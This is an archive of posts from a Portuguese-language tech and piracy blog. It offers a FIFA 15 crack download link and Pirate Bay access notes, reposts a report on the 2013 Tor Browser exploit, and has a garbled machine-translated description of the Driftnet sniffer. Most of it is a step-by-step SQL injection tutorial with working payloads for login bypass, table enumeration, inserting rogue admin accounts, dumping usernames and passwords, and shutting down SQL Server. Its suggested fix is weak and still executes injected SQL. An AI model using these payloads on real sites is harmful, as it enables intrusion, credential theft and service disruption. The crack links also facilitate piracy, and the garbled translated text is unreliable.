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domingo, 1 de fevereiro de 2015

CRACK FIFA 15 PC


Depois de tanta espera, finalmente chega o Crack da Skidrow do FIFA 15, sem mais delongas vamos ao download.

http://www61.zippyshare.com/v/77gbkMCw/file.html
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sábado, 31 de janeiro de 2015

Pirate Bay volta a funcionar


Semanas após ter sido derrubado por questões judiciais, o The Pirate Bay está de volta. Principal espaço para compartilhamento de arquivos torrent do mundo, o site havia programado seu retorno para este domingo, 1, mas os planos foram adiantados.
Talvez pelo alto volume de acessos, o TPB não está totalmente estável - tanto que nem há anúncios publicitários, por enquanto. Isso também pode ser consequência de uma alteração efetuada pelos administradores, que simplificaram a engenharia da página.
Essa nova configuração também é a responsável por uma briga entre os integrantes do serviço, porque ela tira o espaço dedicado aos moderadores que caçavam usuários falsos e arquivos maliciosos.
Quem resolveu colocar o site no ar desse jeito foi o grupo que mantém o domínio thepiratebay.se, então um grupo dissidente, que possui uma cópia do backup, prepara o lançamento de outro TPB, que levará mais tempo para aparecer mas será mais parecido com a versão antiga (e mais seguro).
Enquanto isso não acontece, eles trabalharão para avisar os internautas sobre os potenciais riscos de se baixar algo no site que está no ar a partir de hoje, já que, sem o controle antigo, será difícil impedir a propagação de arquivos maliciosos.

Para acessar, clique aqui

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quarta-feira, 21 de janeiro de 2015

WhatsApp lança versão para PC



O WhatsApp deixou de ser um serviço exclusivo de dispositivos móveis, pois entrou em funcionamento a versão do aplicativo para web - com uso exclusivo no navegador Chrome. Para acessar, clique aqui.
Curiosamente, o serviço foi lançado ao mesmo tempo em que a empresa começou a banir os usuários que acessarem o serviço por apps terceirizados (saiba mais).  
Para se logar é preciso ter a versão mais recente do WhatsApp instalada no aparelho, e talvez a atualização demore um pouco para chegar até você. Em seguida, entre no site e um QR Code será apresentado. 



Se o seu aplicativo estiver atualizado, pressione os três pontinhos no canto superior e entre em WhatsApp Web. Em seguida, mire a câmera do celular na tela do computador e encaixe o QR Code no espaço marcado na tela do smartphone. Se tudo for feito corretamente, o site mostrará seus contatos no WhatsApp automaticamente.
Se você tiver dificuldade para realizar o procedimento, saiba o que pode estar acontecendo.
Por enquanto, o serviço só está disponível para Android, Windows Phone e BlackBerry. Segundo o TechCrunch, a versão para iPhone ainda não saiu devido a "limitações da plataforma da Apple".

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terça-feira, 20 de janeiro de 2015

Sugestões para melhorias do blog e pedidos

Salve Salve acompanhantes do blog IgorTech, oq vcs estão achando do blog ? tem sugestões de melhorias, ou assuntos novos, pedidos de jogos ? deixem sua sugestão nos comentários abaixo que iremos avaliar e fazer o melhor possível para nossos leitores.


Grato Adm Gabriel
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segunda-feira, 16 de dezembro de 2013

The Pirate Bay.sx FORA DO AR?

Então galera, pra os que não sabem o thepiratebay.sx não existe mais Agora para vocês acessarem o TPB o final sempre será ponto -pé ou seja-


acesse agora  The piratebay


o antigo endereço teve que ser mudado devido algumas perseguições insanas das federias UEUEHEU vlw fica a dica! Se inscreva no canal! tags extras The pirate bay doownlads The pirate bay fora do ar The pirate bay no url The pirate bay muda link The pirate bay muda endreço The pirate bay fora do ar The pirate bay não abre mais The pirate bay não baixa The pirate bay não connecta The pirate bay travando The pirate bay pirataria The pirate bay federal

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terça-feira, 5 de novembro de 2013

ROM SPD V3 (Noticias do parceiro)

Será que sai a Rom SPD V3  ???


Estamos contando com ajuda de vocês seguidores!!!

Se vocês que gostaram da primeira e da segunda 

versão irão se surpreender com a terceira!! 

Mas para isso precisaremos da colaboração de todos e mais um pouco kkk



Entao segue ai algumas regras


  • Você tera que curtir a Fan page 
  • Dá um +1
  • Se inscrever no blog LINK
  • E votar na enquete aqui em baixo
Aguardamos um grande numero dessa vez    ea oq acham 

Parceiro IGORTECH

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sexta-feira, 18 de outubro de 2013

SIM, NAO ou Tanto faz ?

Nós do Image and video hosting by TinyPic com a parceria do Image and video hosting by TinyPic e do  estamos para Editar uma Rom personalizada para Galaxy Y ...

Rom com android avançado, lindo visual, melhoras no 3G e GPS e muitas outras coisas.

Mas para isso preciso da ajuda de todos vocês, para isso vou fazer uma enquete e com o resultado dela vou fazer ou nao a Rom 

OBS: A Rom só sairá se houver mais de 50 resultados positivos entao pedimos a ajuda de todos...

Vote AQui

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domingo, 13 de outubro de 2013

Conheça tudo sobre SQL Injection


Modo Básico, passando por senhas em sites
Hoje em dia é uma prática comum os sites pedirem um cadastro do visitante, e criar-lhe um login, dando acesso a áreas restritas e especiais do site. Cadastro esse que na maioria das vezes é gratuito, com a intenção apenas de fidelizar o usuário e claro, ter mais um e-mail para uma possível divulgação, que neste caso não se caracteriza spam, pois o devido usuário previamente aceitou informações vindas daquele site.
Em sites onde o cadastro é pago, aí a coisa muda de figura. O site imagina estar vendendo alguma informação ao visitante, e por isso, pode pedir alguns dados sigilosos do usuário e guardá-los seguramente no seu banco de dados.
O que venho apresentar, jogará seu login no vento e o site arderá no mármore do inferno, mas só vou falar como funciona porque Alah mandou e estava escrito com o bit sagrado.
Essa técnica geralmente é chamada de SQL Injection, ou seja, injeção de SQL. Funciona em sites que testam a entrada do login em scripts ASP com chamadas internas de SQL.
Vamos a lógica:
O programador, iniciante ou não, pensa em criar uma área restrita para o site, logo precisará de um login e senha para os usuários. Então é criado dentro do banco de dados (em sql ou mdb, mais comum em mdb) uma tabela chamada Users, com alguns campos, dentre eles Usuario, Senha, Nome e Admin. Esses campos informarão exatamente o que o nome diz, ou seja, o login do usuário, a sua respectiva senha, seu nome e um campo flag indicando se é admin do site ou não. Se for admin, geralmente tem acessos a cliques extras, do tipo incluir/editar/deletar alguma informação.
Feito isso, cria dentro da sua página um bloco onde pede o login e senha para o usuário ter acesso as devidas áreas. Geralmente, o formulário tem apenas os dois campos mesmo, user e senha. Esses dois campos são enviados para um script .asp, que validará ou não o login informado. Se for válido, redireciona para a área restrita, senão, volta ao login ou no máximo, informa que o login estava errado.
Bonito não!? Teoricamente funciona.
Vamos a prática:
Dentro desse script .asp, o programador colocou algo desse tipo:
*****
‘ Isso pega o usuário e senha informados no formulário
cUser = trim(request(usuario))
cSenha = trim(request(senha))
‘Isso verifica no banco de dados se o usuário e senha conferem
‘ (vamos supor que o banco já esteja aberto com o nome de objConn)
SQLOpen = select usuario, senha, nome, admin from Users where usuario=’ & cUser & ‘ and senha=’ & cSenha & ‘
objRS.Open SQLOpen, objConn
‘ Verifica se achou um usuário com o login e senha informados
if not objRS.bof then
response.write Bem vindo & objRS.fields(nome) & !
else
response.write Login inválido.
end if
*****
Na prática inocente, isso funciona. Funciona muito bem. Testa os usuários, se a senha não for a correta, realmente não entra. Se um usuário foi digitado errado, também não dá acesso.
Mas, na prática hacker, isso funciona melhor ainda, pois permite entrarmos como qualquer usuário do sistema. Até mesmo com status de admin.
Vamos pensar um pouco:
select usuario, senha, nome, admin from Users where usuario=’ & cUser & ‘ and senha=’ & cSenha & ‘
Essa é a string do SQL. Em VB e ASP, sabemos que para concatenarmos uma string dentro de outra, devemos usar aspa simples, invés de aspa dupla, pois a aspa dupla é para a string mestra, e a aspa simples é para a string interna.
Traduzindo a string acima, teríamos:
select usuario, senha, nome, admin from Users where usuario=’geek’ and senha=’s3nh4′
Dessa forma, trocamos as variáveis cUser e cSenha, pelos seus respectivos conteúdos.
Repito, isso funciona muito bem, quando usamos de forma inocente. Vale lembrar que de 10 sites em asp que pedem login e senha, 8 tem essa forma de consulta e estão sujeitos a algum tipo de invasão, dependendo do nível de acesso que permita aos seus usuários.
Você falou, falou, falou…. mas e daí!? Cadê o erro nisso?
Ok. Vamos ao erro:
Se quando formos digitar um login, tivermos essa string de programação do sql na cabeça, podemos formar outra facilmente, que injeta um comando de sql, dentro do que o programador já fez.
Ou seja, se eu digitar Mario no username, o sql ficará:
select usuario, senha, nome, admin from Users where usuario=’Mario’ and senha=’s3nh4′
Repare que as aspas simples continuam e fazem realmente parte do comando, que mostra ao sql que aquele campo deve ser comparado com um dado do tipo string.
Agora, se digitarmos no username Ma’rio (com uma aspa simples no meio), a página dará um erro, pois o comando ficaria desse tipo:
select usuario, senha, nome, admin from Users where usuario=’Ma’rio’ and senha=’s3nh4′
Analisando, vemos que quando fomos comparar o campo usuário, abrimos uma aspa simples, colocamos o conteúdo Ma e fechamos a aspa simples. Para o sql, a comparação terminou aí, o que vem depois, deveria ser comandos. Mas não era. Era a continuação do username, a palavra rio e mais uma aspa simples, que deveria estar fechando a primeira (antes da palavra Ma), mas na realidade está abrindo uma nova string no SQL, e como não é comparado com nada, o SQL retorna erro de programação.
Então, já que o SQL aguarda ansiosamente por outra aspa simples para fechar aquela primeira, porque nós não damos a ele, e aproveitando, injetamos um comando nele.
Imagine se usarmos a string ‘ or ’1 (isso mesmo: aspa simples + espaco + or + espaco + aspa simples + 1), ficaria assim:
select usuario, senha, nome, admin from Users where usuario=” or ’1′ and senha=’s3nh4′
Lendo o comando, seria a mesma coisa que falar pro SQL: me retorne o usuario que seja igual a vazio OU 1. Lembrando que 1 em informática é a mesma coisa que True (verdadeiro). Lendo novamente: Me retorne o usuário que seja igual a vazio (não existe nenhum) OU verdadeiro (opa.. verdadeiro é verdadeiro, então achei). Nisso, a tabela pega todos os usuários, pois todos dão verdadeiro. Não são igual a vazio, mas o 1 garante que todos sejam válidos. Agora falta só filtrar a senha.
Se usarmos a mesma string mágica na senha, nós seremos o primeiro usuário da tabela, pois:
select usuario, senha, nome, admin from Users where usuario=” or ’1′ and senha=” or ’1′
Me retorne o usuário que seja igual a vazio (nenhum) OU verdadeiro (todos) E que tenha a senha igual a vazio (nenhum) OU verdadeiro (todos).
Isso traz todos os usuários da tabela, porém com o ponteiro no primeiro usuário.
Quando fazemos uma tabela de usuários, e colocamos no ar, qual o primeiro usuário que incluímos? Nós mesmos, claro. E com nível de administrador. E é exatamente esse que viramos quando usamos essa falha.
Alguns outros casos, são quando queremos entrar com o username de uma determinada pessoa. No username, colocamos o nome dela corretamente, e na senha, como não sabemos, usamos essa string que nos foi enviada por Alah. O SQL, muito esperto, entende que é pra retornar o usuário com o nome informado e que tenha uma senha igual a vazio OU verdadeiro. Ou seja, na verdade, ele irá ignorar a senha, e apontará para o registro que o username seja igual ao que foi informando no campo do formulário.
Outro ponto, é quando não sabemos o nome do usuário, e o site tem muitos cadastros. Então, entramos como qualquer um, e com seus respectivos direitos. No usuário colocamos a string mágica, e na senha chutamos qualquer coisa, por exemplo, 123456 (num site com mais de 200 cadastros, é 99% de certeza que alguém tenha usado essa senha.). Então, o SQL apontará o registro para o primeiro usuário que tenha essa senha no seu cadastro. Outras senhas usadas são: 123123, 123321, 121212, 111222, (o próprio nome do site), abc, abcd, abcdef, abc123, 123abc, e coisas fáceis desse tipo.
E no caso do login pedido ser um e-mail, essa string não funcionará, pois talvez exista uma validação no campo do login para atestar que o que foi digitado tem um formato de e-mail (digo talvez, pois já vi sites pedindo e-mail login mas que não validavam nada…)
Daí, usamos a string que passa por essas validações (como o campo de e-mail é grande, por não se saber qual o mail do usuário, podemos utilizar essa string maior. A string anterior é pequena para caber em qualquer campo de login e senha).
A string que passa pelos e-mails é:
eu@eu.com’or’.11′=’.11
Dessa forma, caso verifiquem se existe @, esta string passará pois tem 1 @ só.
Se verificarem se tem alguma coisa antes da @… ela é válida e também passa.
Se verificarem de trás pra frente na string.. procurando por uma TLD válida (com um ponto na terceira ou quarta casa, de trás pra frente), encontrarão o ponto (.) na terceira casa, que significa uma TLD brasileira (.br) ou de outros países. E se ainda verificarem mais pra trás, por domínios, encontrarão outros 2 pontos, o que torna esse e-mail pertencente a um dominio com subdomínio.
Ok. Sou dono de um site em asp, e uso essa forma de verificação. Agora que você já me ferrou e que todo mundo vai me invadir, pode me dizer como conserto isso?
Claro. É pra isso mesmo que eu estou falando desse erro. Para alertar os sites que estejam com esse problema. Vamos a correção:
O problema todo é que o script só verifica se achou ou não um usuário, não faz um check-up para atestar a veracidade do que foi encontrado. Então, bastaria adicionar o seguinte comando dentro daquele script:
*****
‘ Isso pega o usuário e senha informados no formulário
cUser = trim(request(usuario))
cSenha = trim(request(senha))
‘Isso verifica no banco de dados se o usuário e senha conferem
‘ (vamos supor que o banco já esteja aberto com o nome de objConn)
SQLOpen = select usuario, senha, nome, admin from Users where usuario=’ & cUser & ‘ and senha=’ & cSenha & ‘
objRS.Open SQLOpen, objConn
‘ Verifica se achou um usuário com o login e senha informados
if not objRS.bof then
if objRS.fields(usuario) = cUsuario and objRS.fields(senha) = cSenha then
response.write Bem vindo & objRS.fields(nome) & !
else
response.write Login inválido.
end if
else
response.write Login inválido.
end if
*****
Dessa forma não há furos de aspa simples ou aspa dupla, pois o IF não se confunde com isso.
Outra forma também, seria tratar o caractere da aspa simples dentro dos campos de usuario e senha, não deixando ele estar contido nesses campos. Mas é um pouco mais trabalhoso.
Outra coisa que é bom lembrar, é que esse erro não afeta somente a internet. Sistemas feitos em Delphi e Visual Basic com esse tipo de verificação de usuário também estão passíveis a esse erro. Portanto, verifique-os também.
Modo Avançado, buscando e alterando dados
Agora que você já sabe como entrar em um site restrito, que peça login e senha, feito em asp com sql, vamos aprender agora como ver dados das tabelas, modificar ou até mesmo apagar todo o banco de dados.
Aqui são usados conhecimentos avançados de programação em SQL e, se você não conhece SQL (a linguagem), então essa matéria não vai adiantar muita coisa pra você. Recomendo que caso queira se tornar um perito em invasão de banco de dados, vá aprender SQL primeiro. ;)
Nem só de campos de formulários vive um site. O site também pode passar informações pela linha de endereços. Se você não consegue fazer alguma coisa pelos próprios campos (aqui também usaremos o campo de usuário de um login para fazer as ações), então abra o código fonte da página (aquele com o clique do botão direito do mouse, exibir código fonte), e procure pela linha do Form Action. O que vem depois do Action é a url ou página a ser chamada pelo formulário. Depois, procure nas tags de inputs o campo de entrada do usuário, geralmente denominado name=usuario ou name=user. Feito isso, já temos a nossa ação pela linha de comando, livre das travas impostas pelo formulário, tais como o limite de caracteres ou alguma validação de campo feito em javascript. Dessa forma, invés de preencher o campo usuário no form, você colocaria no endereço uma url desse tipo:
http://www.siteemasp.tld/arquivo.asp?user=comandos em sql
Não se preocupe com os espaços na URL, pois o Internet Explorer é bonzinho e se encarrega de trocar pelos devidos códigos de espaço (%20)
Vamos falar um pouco de teoria
No SQL, o comando de banco de dados é simplesmente uma string com um texto dentro. Esse texto, formado de comandos pré-estipulados, é interpretado pelo SQL e retorna o que foi pedido. Além dos comandos, existe também uma definição de Comentário dentro do SQl, que pra muita gente é algo desconhecido. Da mesma forma que você pode comentar o seu script ou programa, incluindo linhas que dizem pra que serve cada bloco, o SQL também permite, dentro dessa string, um comentário que facilitará o entendimento daquela string quando for lida por outra pessoa. Apesar de quase nunca ser usada na prática, esse caractere de comentário terá uma função extremamente valiosa para nós. Outro caractere que será muito usado e venerado aqui, é o caractere de “faz mais alguma coisa”, que além de executar o primeiro comando, manda executar um segundo comando dentro daquele primeiro. Entenderão o que eu estou dizendo mais na frente.
Só pra ilustrar, o caractere de comentário são dois sinais de menos “–“ e o caractere de nova execução é o ponto-e-vírgula “;”. O caractere asterisco “*” significa todos os campos da tabela.
Finalmente, vamos a prática…
Seria interessante que ao mesmo tempo em que você for lendo, ir também testando em algum site o que será dito adiante. É mais prudente montar um site em asp, com um acesso ao banco de dados em SQL Server próprio, para testar. É sempre válido lembrar que esta matéria é apenas para fins educacionais. J
Você está num site em asp, com acesso por SQL, que usa um campo de login e senha vistos por uma sql desse tipo:
SQL = “Select * from usuarios where username=’” & user & “’ and pass=’” & pass & “’”
A sql é desse tipo, mas você como usuário normal do site não conseguiria saber disso.
No campo de usuário, se você colocar o conteúdo:
Usuário: admin’ –
Senha: xyz
O que irá acontecer é que você irá entrar no site como se fosse o admin (levando em consideração que admin é o usuário real cadastrado no banco de dados como sendo o admin), mesmo sem saber a senha do admin, pois a senha agora será ignorada.
O caractere – - no final do campo especifica pro sql que daquele ponto em diante tudo é comentário, e a string do SQL final ficaria desse tipo:
SQL = “Select * from usuarios where username=’admin’ — ‘ and senha=’xyz’ “
Ou seja, a verificação “ ‘ and senha=…” virou um simples comentário dentro daquela string e não será processada pelo interpretador do sql. Dessa forma, você entrar simplesmente designando o username.
Creio que agora está entendido o uso do caractere de comentário. Vamos seguir em frente.
Caso você não saiba o nome de algum campo da tabela, ou até mesmo não saiba o nome de alguma tabela, podemos usar as mensagens de erro do SQL para poder conhecer mais sobre as tabelas do site. Façamos da seguinte forma no campo de usuário:
Usuário: ’ having 1=1 –
Senha: xyz
O erro dado será parecido com o abaixo:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e14′
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘usuarios.CODIGO’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/arquivo.asp, line 94
Agora, você já sabe o nome da tabela (usuarios) e o nome do primeiro campo (código) da consulta na tabela. Como foi usado *, este campo é o primeiro a ser retornado.
Se fosse usada uma string do tipo:
SQL = “select nome, login, senha, nivel, cpf from usuarios where ….”
O que ia ser retornado é usuarios.NOME, pois é o primeiro campo da pesquisa.
Se você agora montar uma outra string dentro do campo nome, irá saber o próximo campo da tabela:
Usuário: ’ group by usuarios.codigo having 1=1 –
Senha: xyz
Isso irá produzir o seguinte erro:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e14′
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘usuarios.login’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/arquivo.asp, line 94
Você agora pode ir gerando erros assim até saber todos os campos que serão retornados da string SQL. Basta para isso dividir os campos com vírgula, assim:
Usuário: ’ group by usuarios.codigo, usuarios.login having 1=1 –
Quando você não obter mais nenhuma mensagem de erro, significa que todos os campos já estão validados e constam na string. Nesse ponto, você já saberá todos os campos e a ordem que eles virão.
Agora é interessante saber o tipo de cada campo e, para isso, vamos obrigar o sql a gerar um novo erro:
Usuário: ’ union select sum(login) from usuarios –
O erro aparece como:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/arquivo.asp, line 94
Isso informa que o campo login é do tipo varchar. Mas se por acaso a mensagem de erro vier da forma a seguir, é porque o campo em questão é do tipo numérico.
Microsoft OLE DB Provider for ODBC Drivers error ’80040e14′
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/arquivo.asp, line 94
Agora que você já sabe o nome da tabela, os nomes dos campos e seus respectivos tipos, vamos ao próximo passo, que é usar o caractere de “faz mais alguma coisa”, o excelentíssimo ponto-e-vírgula.
Usuário: ’ ; insert into usuarios (nome, login, senha, nivel, cpf ) values ( “Geek”, “haxo”, “p4ss”, 1, “12345678900”) –
Preciso explicar!? J Bem, isso faz uma inclusão na tabela usuários de um registro, o qual tem o username sendo haxo e a senha p4ss, o que permitiria a você ser um novo usuário do site, dessa vez devidamente registrado.
Obviamente, isso não se restringe a tabelas de usuários. Serve para qualquer tabela no site, como matérias, enquetes, colunas e até mesmo alguma tabela que guarde dados financeiros como cartões de crédito ou outras coisas.
Uma ténica boa para descobrir o conteúdo dos campos é atribuindo um campo texto a um campo numérico. Por exemplo, vamos supor que o site em um determinado momento, se referencie a uma matéria dentro dele por um código numérico, do tipo idm=432. Daí, podemos descobrir um usuário fazendo o seguinte esquema na URL:
http://www.siteemasp.tld/pagina.asp?idm=(select min(login) from usuarios) –
O erro retornado será assim:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘anderson’ to a column of data type int.
/arquivo.asp, line 94
Ou seja, sabemos que o menor login (na ordem alfabética) é Anderson. Isso acontece dessa forma direta, pois dentro do SQL a comparação de números não pode ter aspas simples, e o campo pode ser comparado com uma nova string sql, desde que entre parênteses.
Agora, podemos também descobrir sua senha, dessa forma:
http://www.siteemasp.tld/pagina.asp?idm=(select senha from usuarios where login=’anderson’) –
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ’14quatorze’ to a column of data type int.
/arquivo.asp, line 94
Agora sabemos um usuário e uma senha real do site. Claro que se a senha do Anderson fosse numérica, o que aconteceria era aparecer uma matéria qualquer, mas bastaria pegar o ID da matéria, em algum lugar do código fonte, ou até mesmo na barra de endereços (caso ela mudasse), e saberíamos a senha dele, do mesmo jeito.
Uma outra situação, porém bem mais complexa e avançada, é a criação de SQL Transactions, que nada mais é do que um pequeno script que roda dentro do SQL e retorna uma resposta programada.
A seguinte linha, manda que seja criada uma Transact SQL concatenando todos os usuários e senha da tabela, e retornando em uma mensagem.
Usuário: ‘; begin declare @ret varchar(8000) set @ret=’:’ select @ret=@ret+’ ‘+login+’/’+senha from usuarios where login>@ret select @ret as ret into alluser end –
Depois de enviado, isso cria uma tabela chamada alluser com um campo nomeado como ret, que contem um único registro com todos os logins e senhas concatenados.
Para ver o resultado disso, basta executar a url de matérias, dessa vez selecionando esse campo da nova tabela:
http://www.siteemasp.tld/pagina.asp?idm=(select ret from alluser) –
O retorno será alguma coisa desse tipo:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘: atadmin/umasenha user3/abcd anderson/14quatorze’ to a column of data type int.
/arquivo.asp, line 94
Depois de ver os dados da nova tabela, apague-a:
Usuário: ‘; drop table alluser –
Captaram a mensagem? Isto é quase tudo que se pode fazer com o SQL Server, quando mau programado dentro de uma ASP. Existem pessoas que acham que simplesmente limitando o tamanho de um campo dentro do formulário, já estão se prevenindo de selects e outros comandos mais. Imaginemos um campo de usuário limitado em 12 caracteres:
Usuário: ‘;shutdown–
Exatos 12 caracteres. Isso derrubará todo o SQL Server da máquina, atingindo também outros sites que usarem esse servidor. Se limitar em menos, existe a alternativa de fazer direto no endereço da url, como foi mostrado no caso do ID de uma matéria do site.
Existe ainda formas de, por comandos em SQL, executar comandos arbitrários dentro do server que roda o sql server. Você por exemplo, poderia obter o dir de um c: ou até mesmo criar e apagar arquivos dentro da máquina. Mas isso, é um outro assunto. Por hora, tá bom.
Vale lembrar que todas essas situações descritas aqui funcionam em sites com SQL Server. Sites que tem um MDB como banco de dados, os selects funcionarão, mas coisas como SQL Transact e alguns outros comandos peculiares ao SQL Server não irão funcionar.
Você é programador de um site (ou vários) em asp e está perplexo com tudo isso, pois todos os sites que você fez estão vulneráveis a esse erro, e você precisa de uma solução rápida para consertar todos eles? Infelizmente, não existe. Você vai ter que verificar o conteúdo de cada variável, dentro da própria asp, antes de coloca-la dentro de um comando sql. Difícil e penoso? Pois é… quem mandou escolher essa profissão… :) )
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sábado, 12 de outubro de 2013

Quase metade dos sites de Tor comprometidos por FBI [detalhes exclusivos]


Como muitos de vocês devem saber os EUA tem pressionado para a extradição de Eric Eoin Marques que um agente do FBI foi chamado como "o maior facilitador de pornografia infantil no planeta." Mas a maioria de vocês podem não saber que ele também é o dono da "liberdade de hospedagem" o maior provedor de hospedagem para sites de .onion Dentro da rede TOR. Isto significa que todos os sites hospedados por "freedom hosting" estão nas mãos do FBI. Como você pode ver no artigo acima freedom hosting tem sido acusado de hospedagem de pornografia infantil por um tempo muito longo. Eu também tenho uma boa idéia de como o FBI fez o "impossível", traçando uma pessoa que está usando o Tor. E eles ainda poderiam terencontrado informações sobre todas as pessoas que visitam sites hospedados pela freedom hosting. Primeiro dê uma olhada no que uma pessoa postada no pastebin em 03 de agostohttp://pastebin.com/pmGEj9bV ele diz que encontrou este código na página principal do "host liberdade" esta mais links para este http://pastebin.mozilla.org/2776374. - Veja mais em:

Esta imagem foi redimensionada. Clique nesta barra para ver a imagem completa. A imagem original é de tamanho 1366x768.


Esta é a minha análise do exploit (eu não olhei para ela profundamente enquanto estou ocupado com os exames)

1. É um 0 day para a versão do Firefox que vem como padrão com o "Pacote Navegador TOR"


* 2. O código diz "version >=17 && version <18" verifica se o navegador é a versão correta que o exploit trabalha.
* Tem também um outro cheque - Veja mais em:

Código:
var i = navigator.userAgent.indexOf("Windows NT");         if (i != -1)                 return true;         return false; - See more at: http://www.ehackingnews.com/2013/08/almost-half-of-tor-sites-compromised-by.html#sthash.zO5tcmu0.dpuf
3. Ele também consegue reunir o IP real do usuário e possivelmente executar uma carga maliciosa que pode dar ao atacante o acesso total ao sistema.
*
4. Este exploits funciona porque as pessoas no projeto TOR tinha feito de tal forma que o Javascript é carregado pelo construído em um navegador por padrão (este não era o caso antes e as pessoas que tiveram seu "nenhum script" plugin com configuração adequada "anulado" são seguros) 5.Please nota que não é um dia zero para a rede TOR, mas sim um exploit para a versão do Firefox que a maioria dos usuários TOR estão em execução.

Resposta oficial do Tor: https://blog.torproject.org/blog/hid...reedom-hosting

Embora a ação é feito pelo FBI para derrubar a pornografia infantil na rede TOR é apreciada por todos nós, muitos dos sites legítimos, alojadas pela hospedagem de liberdade também são para baixo. Eles devem se certificar de que o que eles fazem não mata a liberdade e anonimato que a rede TOR representa.

Edit 1: Aqui estão algumas outras análises mais profundo eu achei -> http://pastebin.mozilla.org/2777139http://tsyrklevich.net/tbb_payload.txt

PS: Se você tiver mais alguma coisa que você gostaria de ser acrescentado a este artigo ou as correções que você pode contatar-me no Twitter https://twitter.com/SuriyaMe

fonte: http://www.ehackingnews.com/2013/08/...omised-by.html
__________________
é meu fan use minha Fan baner:




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sexta-feira, 11 de outubro de 2013

Aprenda sobre os maravilhoso snffing chamado Driftnet


Inspirado por EtherPEG (embora , não possuir um Apple Macintosh, eu nunca vi isso em operação) , de emalhe é um programa que escuta o tráfego da rede e escolhe imagens de streams TCP observadas. Diversão para rodar em uma máquina que vê grande quantidade de tráfego web.

Em um aperfeiçoamento experimental , driftnet agora escolhe streams de áudio MPEG de tráfego de rede e tenta reproduzi-los . Agora também é possível usar redes de deriva com WebCollage de Jamie Zawinski , de modo que ele pode ser executado como um protetor de tela.

(Obviamente, redes de deriva é uma invasão de privacidade de uma espécie bastante flagrante . Além disso, se você está dotado de sensibilidades vitorianas e compartilhar uma rede não comutada com outros que não são, você provavelmente não deveria usá-lo. Se você está procurando um aplicativo de monitoramento de rede menos duvidoso, você pode querer dar uma olhada em iftop de Paul Warren. )

NTK me deu um bom write- up: ( Obrigado, pessoal )

                                RASTREAMENTO >> <<
               tecnologia suficientemente avançada : The Gathering

         EtherPEG era um programa que cheirou a JPEGs passando em
         as redes AirPort em MacHack , e mostrou-lhes a
         tela enorme para confundir as pessoas para a) transformar a 802.11
         criptografia , ou b ) reduzir a quantidade de pr0n que baixar
         em convenções esquisitos Mac . Emalhe pode fazer o mesmo para
         * o * escritório, e faça um acessório de desktop atraente para
         arrancar. O programa promiscuamente fareja e decodifica qualquer JPEG
         baixado por qualquer um em sua LAN, exibi-lo em um
         atraente, sempre em mudança mosaico de gatinhos fofos ,
         grandes botões de navegação e imagens borradas de Big
         Irmão Elizabeth mexer . É só UNIX . seu
         sysadmin é , sem dúvida, executá-lo já . Então, pare com isso. Agora .
         http://www.ex-parrot.com/ ~ chris / driftnet /
           - O que o mundo precisa é de software do Windows para espionar administradores
( Pedantes real vai notar que eu corrigi a gramática ligeiramente. Chamar-se desagradável , britânicos e curta .... )

Emalhe está em um estágio muito inicial de desenvolvimento. Tradução: você pode não ser capaz de fazê-lo compilar e, se você fizer isso, ele provavelmente não vai funcionar muito bem. Para ter uma chance de compilá-lo , você vai precisar libpcap , GTK , libgif / libungif e libjpeg . Se você quiser reproduzir uma música , você precisa mpg123 ou mpg321 ou qualquer outra coisa . Até agora, driftnet só foi testado - Eu uso o termo no seu sentido mais lato - no Linux e Solaris . Se você quiser uma versão do Microsoft Windows , bem, vá em frente e escrever uma - as bibliotecas que você precisa suportar o Microsoft Windows também.

Emalhe é um software livre , licenciado sob os termos da GNU GPL.

Já chega . Onde está o código?

Obter driftnet - 0.1.6.tar.gz . Você deve ser capaz de construir -lo digitando `make ' , não há nenhum script autoconf . Por favor, envie correções de bugs , sugestões e adulação para mim. Você também pode ler o arquivo README , changelog , e uma lista de coisas para fazer. Ou, leia a página de manual.

Você precisa libpcap , libjpeg , libungif e GTK para a construção de redes de deriva , a menos que você deseja executá-lo apenas no modo ' adjunto ' .

Você também pode obter redes de deriva de um servidor CVS público , como este:

cvs- d: pserver : anonymous@sphinx.mythic-beasts.com :/ home / chris / vcvs / repos logon
cvs- d: pserver : anonymous@sphinx.mythic-beasts.com :/ home / chris / vcvs / repos co driftnet
A senha é ' anônimo ' . Este serviço é experimental , mas pode ajudá-lo a obter a versão mais recente e maior de ponta do código.

Folkert van Heusden criou um espelho de emalhe e outros softwares em http://www.vanheusden.com/mirrors/ .

O que há em um nome ?

` Redes de deriva ' é suposto evocar imagens de indiscriminação . Pense ` golfinhos ".


Veja! Lá! A civilização está desmoronando !

Para meu horror, alguém percebeu que este programa faz parte de um elaborado plano para minar a civilização como a conhecemos. Aqui está o que eles disseram ( em Freshmeat ) :

Razões para escrever tal tipo de software
por assustador hans - 20 de julho de 2001 14:01:02

Olá,

Eu me pergunto por que esse software foi escrito ?

Qual é a sua finalidade ?

Primeiro, você pode ser capaz de ver que tipo de sites que seus usuários estão assistindo e você pode influenciar seus usuários.

" Como você pode ver aqui, um monte de banda é desperdiçada para banners , material sujo ... "

Por outro lado , alguém poderia mau uso desta ferramenta para espiar os hábitos dos usuários.

IMHO muito mais pessoas vão usar essa ferramenta de espionagem do que para fins sensíveis porque Você também pode ver no seu proxy -logs , que tipo de sites são visitados .

Portanto, eu acho que não foi uma boa idéia para publicá-lo , o que você acha ?

-
- Ambiente com ar condicionado - não abrir as janelas !
Observe o pseudônimo coxo, pobre gramática e bruto anti- Microsoft signoff . É verdade: o meu plano foi exposto por um Slashdot weenie !
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sábado, 5 de outubro de 2013

